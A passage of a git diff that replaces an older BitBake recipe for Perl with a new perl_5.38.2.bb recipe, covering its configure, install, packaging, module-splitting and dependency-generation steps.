- ${PKGD}${libdir}/perl5/${PV}/FileCache.pm \
- ${PKGD}${libdir}/perl5/${PV}/pod/*.pod \
- ${PKGD}${libdir}/perl5/config.sh
-}
-
-inherit update-alternatives
-
-ALTERNATIVE_PRIORITY = "100"
-
-ALTERNATIVE_${PN}-misc = "corelist cpan enc2xs encguess h2ph h2xs instmodsh json_pp libnetcfg \
- piconv pl2pm pod2html pod2man pod2text pod2usage podchecker \
- prove ptar ptardiff ptargrep shasum splain xsubpp zipdetails"
-ALTERNATIVE_LINK_NAME[corelist] = "${bindir}/corelist"
-ALTERNATIVE_LINK_NAME[cpan] = "${bindir}/cpan"
-ALTERNATIVE_LINK_NAME[enc2xs] = "${bindir}/enc2xs"
-ALTERNATIVE_LINK_NAME[encguess] = "${bindir}/encguess"
-ALTERNATIVE_LINK_NAME[h2ph] = "${bindir}/h2ph"
-ALTERNATIVE_LINK_NAME[h2xs] = "${bindir}/h2xs"
-ALTERNATIVE_LINK_NAME[instmodsh] = "${bindir}/instmodsh"
-ALTERNATIVE_LINK_NAME[json_pp] = "${bindir}/json_pp"
-ALTERNATIVE_LINK_NAME[libnetcfg] = "${bindir}/libnetcfg"
-ALTERNATIVE_LINK_NAME[piconv] = "${bindir}/piconv"
-ALTERNATIVE_LINK_NAME[pl2pm] = "${bindir}/pl2pm"
-ALTERNATIVE_LINK_NAME[pod2html] = "${bindir}/pod2html"
-ALTERNATIVE_LINK_NAME[pod2man] = "${bindir}/pod2man"
-ALTERNATIVE_LINK_NAME[pod2text] = "${bindir}/pod2text"
-ALTERNATIVE_LINK_NAME[pod2usage] = "${bindir}/pod2usage"
-ALTERNATIVE_LINK_NAME[podchecker] = "${bindir}/podchecker"
-ALTERNATIVE_LINK_NAME[prove] = "${bindir}/prove"
-ALTERNATIVE_LINK_NAME[ptar] = "${bindir}/ptar"
-ALTERNATIVE_LINK_NAME[ptardiff] = "${bindir}/ptardiff"
-ALTERNATIVE_LINK_NAME[ptargrep] = "${bindir}/ptargrep"
-ALTERNATIVE_LINK_NAME[shasum] = "${bindir}/shasum"
-ALTERNATIVE_LINK_NAME[splain] = "${bindir}/splain"
-ALTERNATIVE_LINK_NAME[xsubpp] = "${bindir}/xsubpp"
-ALTERNATIVE_LINK_NAME[zipdetails] = "${bindir}/zipdetails"
-
-require perl-ptest.inc
-
-FILES_${PN} = "${bindir}/perl ${bindir}/perl.real ${bindir}/perl${PV} ${libdir}/libperl.so* \
- ${libdir}/perl5/site_perl \
- ${libdir}/perl5/${PV}/Config.pm \
- ${libdir}/perl5/${PV}/${TARGET_ARCH}-linux/Config.pm \
- ${libdir}/perl5/${PV}/*/Config_git.pl \
- ${libdir}/perl5/${PV}/*/Config_heavy-target.pl \
- ${libdir}/perl5/config.sh \
- ${libdir}/perl5/${PV}/strict.pm \
- ${libdir}/perl5/${PV}/warnings.pm \
- ${libdir}/perl5/${PV}/warnings \
- ${libdir}/perl5/${PV}/vars.pm \
- ${libdir}/perl5/site_perl \
- ${libdir}/perl5/${PV}/ExtUtils/MANIFEST.SKIP \
- ${libdir}/perl5/${PV}/ExtUtils/xsubpp \
- ${libdir}/perl5/${PV}/ExtUtils/typemap \
- "
-RPROVIDES_${PN} += "perl-module-strict perl-module-vars perl-module-config perl-module-warnings \
- perl-module-warnings-register"
-
-FILES_${PN}-staticdev_append = " ${libdir}/perl5/${PV}/*/CORE/libperl.a"
-
-FILES_${PN}-dev_append = " ${libdir}/perl5/${PV}/*/CORE"
-
-FILES_${PN}-doc_append = " ${libdir}/perl5/${PV}/Unicode/Collate/*.txt \
- ${libdir}/perl5/${PV}/*/.packlist \
- ${libdir}/perl5/${PV}/Encode/encode.h \
- "
-PACKAGES += "${PN}-misc"
-
-FILES_${PN}-misc = "${bindir}/*"
-
-PACKAGES += "${PN}-pod"
-
-FILES_${PN}-pod = "${libdir}/perl5/${PV}/pod \
- ${libdir}/perl5/${PV}/*.pod \
- ${libdir}/perl5/${PV}/*/*.pod \
- ${libdir}/perl5/${PV}/*/*/*.pod \
- ${libdir}/perl5/${PV}/*/*/*/*.pod \
- "
-
-PACKAGES += "${PN}-module-cpan ${PN}-module-unicore"
-
-FILES_${PN}-module-cpan += "${libdir}/perl5/${PV}/CPAN \
- "
-FILES_${PN}-module-unicore += "${libdir}/perl5/${PV}/unicore"
-
-ALTERNATIVE_PRIORITY = "40"
-ALTERNATIVE_${PN}-doc = "Thread.3"
-ALTERNATIVE_LINK_NAME[Thread.3] = "${mandir}/man3/Thread.3"
-
-# Create a perl-modules package recommending all the other perl
-# packages (actually the non modules packages and not created too)
-ALLOW_EMPTY_${PN}-modules = "1"
-PACKAGES += "${PN}-modules "
-
-PACKAGESPLITFUNCS_prepend = "split_perl_packages "
-
-python split_perl_packages () {
- libdir = d.expand('${libdir}/perl5/${PV}')
- do_split_packages(d, libdir, r'.*/auto/([^.]*)/[^/]*\.(so|ld|ix|al)', '${PN}-module-%s', 'perl module %s', recursive=True, match_path=True, prepend=False)
- do_split_packages(d, libdir, r'.*linux/([^\/]*)\.pm', '${PN}-module-%s', 'perl module %s', recursive=True, allow_dirs=False, match_path=True, prepend=False)
- do_split_packages(d, libdir, r'Module/([^\/]*)\.pm', '${PN}-module-%s', 'perl module %s', recursive=True, allow_dirs=False, match_path=True, prepend=False)
- do_split_packages(d, libdir, r'Module/([^\/]*)/.*', '${PN}-module-%s', 'perl module %s', recursive=True, allow_dirs=False, match_path=True, prepend=False)
- do_split_packages(d, libdir, r'.*linux/([^\/].*)\.(pm|pl|e2x)', '${PN}-module-%s', 'perl module %s', recursive=True, allow_dirs=False, match_path=True, prepend=False)
- do_split_packages(d, libdir, r'(^(?!(CPAN\/|CPANPLUS\/|Module\/|unicore\/|.*linux\/)[^\/]).*)\.(pm|pl|e2x)', '${PN}-module-%s', 'perl module %s', recursive=True, allow_dirs=False, match_path=True, prepend=False)
-
- # perl-modules should recommend every perl module, and only the
- # modules. Don't attempt to use the result of do_split_packages() as some
- # modules are manually split (eg. perl-module-unicore).
- packages = filter(lambda p: 'perl-module-' in p, d.getVar('PACKAGES').split())
- d.setVar(d.expand("RRECOMMENDS_${PN}-modules"), ' '.join(packages))
-
- # Read the pre-generated dependency file, and use it to set module dependecies
- for line in open(d.expand("${WORKDIR}") + '/perl-rdepends.txt').readlines():
- splitline = line.split()
- if bb.data.inherits_class('native', d):
- module = splitline[0] + '-native'
- depends = "perl-native"
- else:
- module = splitline[0].replace("RDEPENDS_perl", "RDEPENDS_${PN}")
- depends = splitline[2].strip('"').replace("perl-module", "${PN}-module")
- d.appendVar(d.expand(module), " " + depends)
-}
-
-python() {
- if d.getVar('CLASSOVERRIDE') == "class-target":
- d.setVar("PACKAGES_DYNAMIC", "^${MLPREFIX}perl-module-.*(?<!native)$")
- elif d.getVar('CLASSOVERRIDE') == "class-native":
- d.setVar("PACKAGES_DYNAMIC", "^perl-module-.*-native$")
- elif d.getVar('CLASSOVERRIDE') == "class-nativesdk":
- d.setVar("PACKAGES_DYNAMIC", "^nativesdk-perl-module-.*")
-}
-
-RDEPENDS_${PN}-misc += "perl perl-modules"
-RDEPENDS_${PN}-pod += "perl"
-
-BBCLASSEXTEND = "native nativesdk"
-
-SSTATE_SCAN_FILES += "*.pm *.pod *.h *.pl *.sh"
-
-do_create_rdepends_inc() {
- cd ${WORKDIR}
- cat <<'EOPREAMBLE' > ${WORKDIR}/perl-rdepends.inc
-
-# Some additional dependencies that the above doesn't manage to figure out
-RDEPENDS_${PN}-module-file-spec += "${PN}-module-file-spec-unix"
-RDEPENDS_${PN}-module-math-bigint += "${PN}-module-math-bigint-calc"
-RDEPENDS_${PN}-module-thread-queue += "${PN}-module-attributes"
-RDEPENDS_${PN}-module-overload += "${PN}-module-overloading"
-
-# Generated depends list beyond this line
-EOPREAMBLE
- test -e packages-split.new && rm -rf packages-split.new
- cp -r packages-split packages-split.new && cd packages-split.new
- find . -name \*.pm | xargs sed -i '/^=head/,/^=cut/d'
- egrep -r "^\s*(\<use .*|\<require .*);?" perl-module-* --include="*.pm" | \
- sed "s/\/.*\.pm: */ += /g;s/[\"\']//g;s/;.*/\"/g;s/+= .*\(require\|use\)\> */+= \"perl-module-/g;s/CPANPLUS::.*/cpanplus/g;s/CPAN::.*/cpan/g;s/::/-/g;s/ [^+\"].*//g;s/_/-/g;s/\.pl\"$/\"/;s/\"\?\$/\"/;s/(//;" | tr [:upper:] [:lower:] | \
- awk '{if ($3 != "\x22"$1"\x22"){ print $0}}'| \
- grep -v -e "\-vms\-" -e module-5 -e "^$" -e "\\$" -e your -e tk -e autoperl -e html -e http -e parse-cpan -e perl-ostype -e ndbm-file -e module-mac -e fcgi -e lwp -e dbd -e dbix | \
- sort -u | \
- sed 's/^/RDEPENDS_/;s/perl-module-/${PN}-module-/g;s/module-\(module-\)/\1/g;s/\(module-load\)-conditional/\1/g;s/encode-configlocal/&-pm/;' | \
- egrep -wv '=>|module-a|module-apache.?|module-apr|module-authen-sasl|module-b-asmdata|module-convert-ebcdic|module-devel-size|module-digest-perl-md5|module-dumpvalue|module-extutils-constant-aaargh56hash|module-extutils-xssymset|module-file-bsdglob|module-for|module-it|module-io-socket-inet6|module-io-socket-ssl|module-io-string|module-ipc-system-simple|module-lexical|module-local-lib|metadata|module-modperl-util|module-pluggable-object|module-test-builder-io-scalar|module-test2|module-text-unidecode|module-unicore|module-win32|objects\sload|syscall.ph|systeminfo.ph|%s' | \
- egrep -wv '=>|module-algorithm-diff|module-carp|module-c<extutils-mm-unix>|module-encode-hanextra|module-extutils-makemaker-version-regex|module-file-spec|module-io-compress-lzma|module-locale-maketext-lexicon|module-log-agent|module-meta-notation|module-net-localcfg|module-net-ping-external|module-b-deparse|module-scalar-util|module-some-module|module-symbol|module-uri|module-win32api-file' >> ${WORKDIR}/perl-rdepends.generated
- cp ${WORKDIR}/perl-rdepends.generated ${THISDIR}/files/perl-rdepends.txt
-}
-
-# bitbake perl -c create_rdepends_inc
-addtask do_create_rdepends_inc
-
-SYSROOT_PREPROCESS_FUNCS += "perl_sysroot_create_wrapper"
-
-perl_sysroot_create_wrapper () {
- mkdir -p ${SYSROOT_DESTDIR}${bindir}
- # Create a wrapper that /usr/bin/env perl will use to get perl-native.
- # This MUST live in the normal bindir.
- cat > ${SYSROOT_DESTDIR}${bindir}/nativeperl << EOF
-#!/bin/sh
-realpath=\`readlink -fn \$0\`
-exec \`dirname \$realpath\`/perl-native/perl "\$@"
-EOF
- chmod 0755 ${SYSROOT_DESTDIR}${bindir}/nativeperl
- cat ${SYSROOT_DESTDIR}${bindir}/nativeperl
-}
diff --git a/meta/recipes-devtools/perl/perl_5.38.2.bb b/meta/recipes-devtools/perl/perl_5.38.2.bb
new file mode 100644
index 0000000000..b6c9cda7ae
--- /dev/null
+++ b/meta/recipes-devtools/perl/perl_5.38.2.bb
@@ -0,0 +1,426 @@
+SUMMARY = "Perl scripting language"
+HOMEPAGE = "http://www.perl.org/"
+DESCRIPTION = "Perl is a highly capable, feature-rich programming language"
+SECTION = "devel"
+LICENSE = "Artistic-1.0 | GPL-1.0-or-later"
+LIC_FILES_CHKSUM = "file://Copying;md5=5b122a36d0f6dc55279a0ebc69f3c60b \
+ file://Artistic;md5=71a4d5d9acc18c0952a6df2218bb68da \
+ "
+
+
+SRC_URI = "https://www.cpan.org/src/5.0/perl-${PV}.tar.gz;name=perl \
+ file://perl-rdepends.txt \
+ file://0001-Somehow-this-module-breaks-through-the-perl-wrapper-.patch \
+ file://errno_ver.diff \
+ file://native-perlinc.patch \
+ file://perl-dynloader.patch \
+ file://0002-Constant-Fix-up-shebang.patch \
+ file://determinism.patch \
+ file://0001-cpan-Sys-Syslog-Makefile.PL-Fix-_PATH_LOG-for-determ.patch \
+ file://0001-Fix-intermittent-failure-of-test-t-op-sigsystem.t.patch \
+ "
+SRC_URI:append:class-native = " \
+ file://perl-configpm-switch.patch \
+"
+SRC_URI:append:class-target = " \
+ file://encodefix.patch \
+"
+
+SRC_URI[perl.sha256sum] = "a0a31534451eb7b83c7d6594a497543a54d488bc90ca00f5e34762577f40655e"
+
+B = "${WORKDIR}/perl-${PV}-build"
+
+inherit upstream-version-is-even update-alternatives
+
+DEPENDS += "perlcross-native zlib virtual/crypt"
+# make 4.1 has race issues with the double-colon usage of MakeMaker, see #14096
+DEPENDS += "make-native"
+
+PERL_LIB_VER = "${@'.'.join(d.getVar('PV').split('.')[0:2])}.0"
+
+PACKAGECONFIG ??= "gdbm"
+PACKAGECONFIG:append:libc-musl = " anylocale"
+PACKAGECONFIG[bdb] = ",-Ui_db,db"
+PACKAGECONFIG[gdbm] = ",-Ui_gdbm,gdbm"
+PACKAGECONFIG[anylocale] = "-Dd_setlocale_accepts_any_locale_name=define,,"
+
+# Don't generate comments in enc2xs output files. They are not reproducible
+export ENC2XS_NO_COMMENTS = "1"
+
+CFLAGS += "-D_GNU_SOURCE -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64"
+
+do_configure:prepend() {
+ rm -rf ${B}
+ cp -rfp ${S} ${B}
+ cp -rfp ${STAGING_DATADIR_NATIVE}/perl-cross/* ${B}
+ cd ${B}
+}
+
+do_configure:class-target() {
+ ./configure --prefix=${prefix} --libdir=${libdir} \
+ --target=${TARGET_SYS} \
+ -Duse64bitint \
+ -Duseshrplib \
+ -Dusethreads \
+ -Dsoname=libperl.so.5 \
+ -Dvendorprefix=${prefix} \
+ -Dvendorlibdir=${libdir} \
+ -Darchlibexp=${STAGING_LIBDIR}/perl5/${PV}/${TARGET_ARCH}-linux \
+ -Dlibpth='${libdir} ${base_libdir}' \
+ -Dglibpth='${libdir} ${base_libdir}' \
+ -Alddlflags=' ${LDFLAGS}' \
+ -Dd_gnulibc=define \
+ ${PACKAGECONFIG_CONFARGS}
+
+ #perl.c uses an ARCHLIB_EXP define to generate compile-time code that
+ #adds the archlibexp path to @INC during run-time initialization of a
+ #new perl interpreter.
+
+ #Because we've changed this value in a temporary way to make it
+ #possible to use ExtUtils::Embed in the target build (the temporary
+ #value in config.sh gets re-stripped out during packaging), the
+ #ARCHLIB_EXP value that gets generated still uses the temporary version
+ #instead of the original expected version (i.e. becauses it's in the
+ #generated config.h, it doesn't get stripped out during packaging like
+ #the others in config.sh).
+
+ sed -i -e "s,${STAGING_LIBDIR},${libdir},g" config.h
+}
+
+do_configure:class-nativesdk() {
+ ./configure --prefix=${prefix} \
+ --target=${TARGET_SYS} \
+ -Duseshrplib \
+ -Dusethreads \
+ -Dsoname=libperl.so.5 \
+ -Dvendorprefix=${prefix} \
+ -Darchlibexp=${STAGING_LIBDIR}/perl5/${PV}/${TARGET_ARCH}-linux \
+ -Alddlflags=' ${LDFLAGS}' \
+ ${PACKAGECONFIG_CONFARGS}
+
+ # See the comment above
+ sed -i -e "s,${STAGING_LIBDIR},${libdir},g" config.h
+}
+
+do_configure:class-native() {
+ ./configure --prefix=${prefix} \
+ -Dbin=${bindir}/perl-native \
+ -Duseshrplib \
+ -Dusethreads \
+ -Dsoname=libperl.so.5 \
+ -Dvendorprefix=${prefix} \
+ -Ui_xlocale \
+ -Alddlflags=' ${LDFLAGS}' \
+ ${PACKAGECONFIG_CONFARGS}
+
+ # This prevents leakage of build paths into perl-native binaries, which
+ # causes non-deterministic troubles when those paths no longer exist or aren't accessible.
+ sed -i -e "s,${STAGING_LIBDIR},/completelyboguspath,g" config.h
+}
+
+do_configure:append() {
+ if [ -n "$SOURCE_DATE_EPOCH" ]; then
+ PERL_BUILD_DATE="$(${PYTHON} -c "\
+from datetime import datetime, timezone; \
+print(datetime.fromtimestamp($SOURCE_DATE_EPOCH, timezone.utc).strftime('%a %b %d %H:%M:%S %Y')) \
+ ")"
+ echo "#define PERL_BUILD_DATE \"$PERL_BUILD_DATE\"" >> config.h
+ fi
+}
+
+do_compile() {
+ oe_runmake
+}
+
+do_install() {
+ oe_runmake 'DESTDIR=${D}' install
+
+ install -d ${D}${libdir}/perl5
+ install -d ${D}${libdir}/perl5/${PV}/
+ install -d ${D}${libdir}/perl5/${PV}/ExtUtils/
+
+ # Save native config
+ install config.sh ${D}${libdir}/perl5
+ install lib/Config.pm ${D}${libdir}/perl5/${PV}/
+ install lib/ExtUtils/typemap ${D}${libdir}/perl5/${PV}/ExtUtils/
+
+ # Fix up shared library
+ dir=$(echo ${D}/${libdir}/perl5/${PV}/*/CORE)
+ rm $dir/libperl.so
+ ln -sf ../../../../libperl.so.${PERL_LIB_VER} $dir/libperl.so
+
+ # Try to catch Bug #13946
+ if [ -e ${D}/${libdir}/perl5/${PV}/Storable.pm ]; then
+ bbfatal 'non-arch specific Storable.pm found! See https://bugzilla.yoctoproject.org/show_bug.cgi?id=13946'
+ fi
+}
+
+do_install:append:class-target() {
+ # This is used to substitute target configuration when running native perl via perl-configpm-switch.patch
+ ln -s Config_heavy.pl ${D}${libdir}/perl5/${PV}/${TARGET_ARCH}-linux/Config_heavy-target.pl
+
+ # xconfig.h contains references to build host architecture, and yet is included from various other places.
+ # To make it reproducible let's make it a copy of config.h patch that is specific to the target architecture.
+ # It is believed that the original header is the product of building miniperl (a helper executable built with host compiler).
+ cp ${D}${libdir}/perl5/${PV}/${TARGET_ARCH}-linux/CORE/config.h ${D}${libdir}/perl5/${PV}/${TARGET_ARCH}-linux/CORE/xconfig.h
+}
+
+do_install:append:class-nativesdk() {
+ # This is used to substitute target configuration when running native perl via perl-configpm-switch.patch
+ ln -s Config_heavy.pl ${D}${libdir}/perl5/${PV}/${TARGET_ARCH}-linux/Config_heavy-target.pl
+
+ create_wrapper ${D}${bindir}/perl \
+ PERL5LIB='$PERL5LIB:${SDKPATHNATIVE}/${libdir_nativesdk}/perl5/site_perl/${PV}:${SDKPATHNATIVE}/${libdir_nativesdk}/perl5/vendor_perl/${PV}:${SDKPATHNATIVE}/${libdir_nativesdk}/perl5/${PV}'
+}
+
+do_install:append:class-native () {
+ # Those wrappers mean that perl installed from sstate (which may change
+ # path location) works and that in the nativesdk case, the SDK can be
+ # installed to a different location from the one it was built for.
+ create_wrapper ${D}${bindir}/perl-native/perl PERL5LIB='$PERL5LIB:${STAGING_LIBDIR}/perl5/site_perl/${PV}:${STAGING_LIBDIR}/perl5/vendor_perl/${PV}:${STAGING_LIBDIR}/perl5/${PV}'
+
+ # Use /usr/bin/env nativeperl for the perl script.
+ for f in `grep -Il '#! *${bindir}/perl' ${D}/${bindir}/*`; do
+ sed -i -e 's|${bindir}/perl|/usr/bin/env nativeperl|' $f
+ done
+}
+
+PACKAGE_PREPROCESS_FUNCS += "perl_package_preprocess"
+
+perl_package_preprocess () {
+ # Fix up installed configuration
+ sed -i -e "s,${D},,g" \
+ -e "s,${DEBUG_PREFIX_MAP},,g" \
+ -e "s,--sysroot=${STAGING_DIR_HOST},,g" \
+ -e "s,-isystem${STAGING_INCDIR} ,,g" \
+ -e "s,${STAGING_LIBDIR},${libdir},g" \
+ -e "s,${STAGING_BINDIR},${bindir},g" \
+ -e "s,${STAGING_INCDIR},${includedir},g" \
+ -e "s,${STAGING_BINDIR_NATIVE}/perl-native/,${bindir}/,g" \
+ -e "s,${STAGING_BINDIR_NATIVE}/,,g" \
+ -e "s,${STAGING_BINDIR_TOOLCHAIN}/${TARGET_PREFIX},${bindir},g" \
+ -e 's:${RECIPE_SYSROOT}::g' \
+ ${PKGD}${bindir}/h2xs.perl \
+ ${PKGD}${bindir}/h2ph.perl \
+ ${PKGD}${bindir}/pod2man.perl \
+ ${PKGD}${bindir}/pod2text.perl \
+ ${PKGD}${bindir}/pod2usage.perl \
+ ${PKGD}${bindir}/podchecker.perl \
+ ${PKGD}${libdir}/perl5/${PV}/${TARGET_ARCH}-linux/CORE/config.h \
+ ${PKGD}${libdir}/perl5/${PV}/${TARGET_ARCH}-linux/CORE/xconfig.h \
+ ${PKGD}${libdir}/perl5/${PV}/${TARGET_ARCH}-linux/CORE/perl.h \
+ ${PKGD}${libdir}/perl5/${PV}/${TARGET_ARCH}-linux/CORE/pp.h \
+ ${PKGD}${libdir}/perl5/${PV}/Config.pm \
+ ${PKGD}${libdir}/perl5/${PV}/${TARGET_ARCH}-linux/Config.pm \
+ ${PKGD}${libdir}/perl5/${PV}/${TARGET_ARCH}-linux/Config.pod \
+ ${PKGD}${libdir}/perl5/${PV}/${TARGET_ARCH}-linux/Config_git.pl \
+ ${PKGD}${libdir}/perl5/${PV}/${TARGET_ARCH}-linux/Config_heavy.pl \
+ ${PKGD}${libdir}/perl5/${PV}/ExtUtils/Liblist/Kid.pm \
+ ${PKGD}${libdir}/perl5/${PV}/FileCache.pm \
+ ${PKGD}${libdir}/perl5/${PV}/pod/*.pod \
+ ${PKGD}${libdir}/perl5/config.sh
+}
+
+inherit update-alternatives
+
+ALTERNATIVE_PRIORITY = "100"
+
+ALTERNATIVE:${PN}-misc = "corelist cpan enc2xs encguess h2ph h2xs instmodsh json_pp libnetcfg \
+ piconv pl2pm pod2html pod2man pod2text pod2usage podchecker \
+ prove ptar ptardiff ptargrep shasum splain streamzip xsubpp zipdetails"
+ALTERNATIVE_LINK_NAME[corelist] = "${bindir}/corelist"
+ALTERNATIVE_LINK_NAME[cpan] = "${bindir}/cpan"
+ALTERNATIVE_LINK_NAME[enc2xs] = "${bindir}/enc2xs"
+ALTERNATIVE_LINK_NAME[encguess] = "${bindir}/encguess"
+ALTERNATIVE_LINK_NAME[h2ph] = "${bindir}/h2ph"
+ALTERNATIVE_LINK_NAME[h2xs] = "${bindir}/h2xs"
+ALTERNATIVE_LINK_NAME[instmodsh] = "${bindir}/instmodsh"
+ALTERNATIVE_LINK_NAME[json_pp] = "${bindir}/json_pp"
+ALTERNATIVE_LINK_NAME[libnetcfg] = "${bindir}/libnetcfg"
+ALTERNATIVE_LINK_NAME[piconv] = "${bindir}/piconv"
+ALTERNATIVE_LINK_NAME[pl2pm] = "${bindir}/pl2pm"
+ALTERNATIVE_LINK_NAME[pod2html] = "${bindir}/pod2html"
+ALTERNATIVE_LINK_NAME[pod2man] = "${bindir}/pod2man"
+ALTERNATIVE_LINK_NAME[pod2text] = "${bindir}/pod2text"
+ALTERNATIVE_LINK_NAME[pod2usage] = "${bindir}/pod2usage"
+ALTERNATIVE_LINK_NAME[podchecker] = "${bindir}/podchecker"
+ALTERNATIVE_LINK_NAME[prove] = "${bindir}/prove"
+ALTERNATIVE_LINK_NAME[ptar] = "${bindir}/ptar"
+ALTERNATIVE_LINK_NAME[ptardiff] = "${bindir}/ptardiff"
+ALTERNATIVE_LINK_NAME[ptargrep] = "${bindir}/ptargrep"
+ALTERNATIVE_LINK_NAME[shasum] = "${bindir}/shasum"
+ALTERNATIVE_LINK_NAME[splain] = "${bindir}/splain"
+ALTERNATIVE_LINK_NAME[streamzip] = "${bindir}/streamzip"
+ALTERNATIVE_LINK_NAME[xsubpp] = "${bindir}/xsubpp"
+ALTERNATIVE_LINK_NAME[zipdetails] = "${bindir}/zipdetails"
+
+require perl-ptest.inc
+
+FILES:${PN} = "${bindir}/perl ${bindir}/perl.real ${bindir}/perl${PV} ${libdir}/libperl.so* \
+ ${libdir}/perl5/site_perl \
+ ${libdir}/perl5/${PV}/Config.pm \
+ ${libdir}/perl5/${PV}/${TARGET_ARCH}-linux/Config.pm \
+ ${libdir}/perl5/${PV}/*/Config_git.pl \
+ ${libdir}/perl5/${PV}/*/Config_heavy-target.pl \
+ ${libdir}/perl5/config.sh \
+ ${libdir}/perl5/${PV}/strict.pm \
+ ${libdir}/perl5/${PV}/warnings.pm \
+ ${libdir}/perl5/${PV}/warnings \
+ ${libdir}/perl5/${PV}/vars.pm \
+ ${libdir}/perl5/site_perl \
+ ${libdir}/perl5/${PV}/ExtUtils/MANIFEST.SKIP \
+ ${libdir}/perl5/${PV}/ExtUtils/xsubpp \
+ ${libdir}/perl5/${PV}/ExtUtils/typemap \
+ "
+RPROVIDES:${PN} += "perl-module-strict perl-module-vars perl-module-config perl-module-warnings \
+ perl-module-warnings-register perl-module-config-git"
+
+FILES:${PN}-staticdev:append = " ${libdir}/perl5/${PV}/*/CORE/libperl.a"
+
+FILES:${PN}-dev:append = " ${libdir}/perl5/${PV}/*/CORE"
+
+FILES:${PN}-doc:append = " ${libdir}/perl5/${PV}/Unicode/Collate/*.txt \
+ ${libdir}/perl5/${PV}/*/.packlist \
+ ${libdir}/perl5/${PV}/Encode/encode.h \
+ "
+PACKAGES += "${PN}-misc"
+
+FILES:${PN}-misc = "${bindir}/*"
+
+PACKAGES += "${PN}-pod"
+
+FILES:${PN}-pod = "${libdir}/perl5/${PV}/pod \
+ ${libdir}/perl5/${PV}/*.pod \
+ ${libdir}/perl5/${PV}/*/*.pod \
+ ${libdir}/perl5/${PV}/*/*/*.pod \
+ ${libdir}/perl5/${PV}/*/*/*/*.pod \
+ "
+
+PACKAGES += "${PN}-module-cpan ${PN}-module-unicore"
+
+FILES:${PN}-module-cpan += "${libdir}/perl5/${PV}/CPAN \
+ "
+FILES:${PN}-module-unicore += "${libdir}/perl5/${PV}/unicore"
+
+ALTERNATIVE_PRIORITY = "40"
+ALTERNATIVE:${PN}-doc = "Thread.3"
+ALTERNATIVE_LINK_NAME[Thread.3] = "${mandir}/man3/Thread.3"
+
+# Create a perl-modules package that represents the collection of all the
+# other perl packages (actually the non modules packages and not created too).
+ALLOW_EMPTY:${PN}-modules = "1"
+PACKAGES += "${PN}-modules "
+
+PACKAGESPLITFUNCS =+ "split_perl_packages"
+
+python split_perl_packages () {
+ libdir = d.expand('${libdir}/perl5/${PV}')
+ do_split_packages(d, libdir, r'.*/auto/([^.]*)/[^/]*\.(so|ld|ix|al)', '${PN}-module-%s', 'perl module %s', recursive=True, match_path=True, prepend=False)
+ do_split_packages(d, libdir, r'.*linux/([^\/]*)\.pm', '${PN}-module-%s', 'perl module %s', recursive=True, allow_dirs=False, match_path=True, prepend=False)
+ do_split_packages(d, libdir, r'Module/([^\/]*)\.pm', '${PN}-module-%s', 'perl module %s', recursive=True, allow_dirs=False, match_path=True, prepend=False)
+ do_split_packages(d, libdir, r'Module/([^\/]*)/.*', '${PN}-module-%s', 'perl module %s', recursive=True, allow_dirs=False, match_path=True, prepend=False)
+ do_split_packages(d, libdir, r'.*linux/([^\/].*)\.(pm|pl|e2x)', '${PN}-module-%s', 'perl module %s', recursive=True, allow_dirs=False, match_path=True, prepend=False)
+ do_split_packages(d, libdir, r'(^(?!(CPAN\/|CPANPLUS\/|Module\/|unicore\/|.*linux\/)[^\/]).*)\.(pm|pl|e2x)', '${PN}-module-%s', 'perl module %s', recursive=True, allow_dirs=False, match_path=True, prepend=False)
+
+ # perl-modules should runtime-depend on every perl module, and only the
+ # modules. Don't attempt to use the result of do_split_packages() as some
+ # modules are manually split (eg. perl-module-unicore). Also, the split
+ # packages should not include packages defined in RPROVIDES:${PN}.
+ perl_sub_pkgs = d.getVar(d.expand("RPROVIDES:${PN}")).split()
+ packages = filter(lambda p: 'perl-module-' in p and p not in perl_sub_pkgs, d.getVar('PACKAGES').split())
+ d.setVar(d.expand("RDEPENDS:${PN}-modules"), ' '.join(packages))
+
+ # Read the pre-generated dependency file, and use it to set module dependecies
+ for line in open(d.expand("${WORKDIR}") + '/perl-rdepends.txt').readlines():
+ splitline = line.split()
+ # Filter empty lines and comments
+ if len(splitline) == 0 or splitline[0].startswith("#"):
+ continue
+ if bb.data.inherits_class('native', d):
+ module = splitline[0] + '-native'
+ depends = "perl-native"
+ else:
+ module = splitline[0].replace("RDEPENDS:perl", "RDEPENDS:${PN}")
+ depends = splitline[2].strip('"').replace("perl-module", "${PN}-module")
+ d.appendVar(d.expand(module), " " + depends)
+}
+
+python() {
+ if d.getVar('CLASSOVERRIDE') == "class-target":
+ d.setVar("PACKAGES_DYNAMIC", "^${MLPREFIX}perl-module-.*(?<!native)$")
+ elif d.getVar('CLASSOVERRIDE') == "class-native":
+ d.setVar("PACKAGES_DYNAMIC", "^perl-module-.*-native$")
+ elif d.getVar('CLASSOVERRIDE') == "class-nativesdk":
+ d.setVar("PACKAGES_DYNAMIC", "^nativesdk-perl-module-.*")
+}
+
+RDEPENDS:${PN}-misc += "perl"
+RRECOMMENDS:${PN}-misc += "perl-modules"
+RDEPENDS:${PN}-pod += "perl"
+
+BBCLASSEXTEND = "native nativesdk"
+
+SSTATE_SCAN_FILES += "*.pm *.pod *.h *.pl *.sh"
+
+do_create_rdepends_inc() {
+ cd ${WORKDIR}
+ cat <<'EOPREAMBLE' > ${WORKDIR}/perl-rdepends.inc
+
+# Some additional dependencies that the above doesn't manage to figure out
+RDEPENDS:${PN}-module-file-spec += "${PN}-module-file-spec-unix"
+RDEPENDS:${PN}-module-scalar-util += "${PN}-module-list-util"
+RDEPENDS:${PN}-module-file-temp += "${PN}-module-scalar-util"
+RDEPENDS:${PN}-module-file-temp += "${PN}-module-file-spec"
+RDEPENDS:${PN}-module-io-file += "${PN}-module-symbol"
+RDEPENDS:${PN}-module-io-file += "${PN}-module-carp"
+RDEPENDS:${PN}-module-math-bigint += "${PN}-module-math-bigint-calc"
+RDEPENDS:${PN}-module-test-builder += "${PN}-module-list-util"
+RDEPENDS:${PN}-module-test-builder += "${PN}-module-scalar-util"
+RDEPENDS:${PN}-module-test-builder-formatter += "${PN}-module-test2-formatter-tap"
+RDEPENDS:${PN}-module-test2-api += "${PN}-module-test2-event-fail"
+RDEPENDS:${PN}-module-test2-api += "${PN}-module-test2-event-pass"
+RDEPENDS:${PN}-module-test2-api += "${PN}-module-test2-event-v2"
+RDEPENDS:${PN}-module-test2-formatter-tap += "${PN}-module-test2-formatter"
+RDEPENDS:${PN}-module-thread-queue += "${PN}-module-attributes"
+RDEPENDS:${PN}-module-overload += "${PN}-module-overloading"
+
+# Generated depends list beyond this line
+EOPREAMBLE
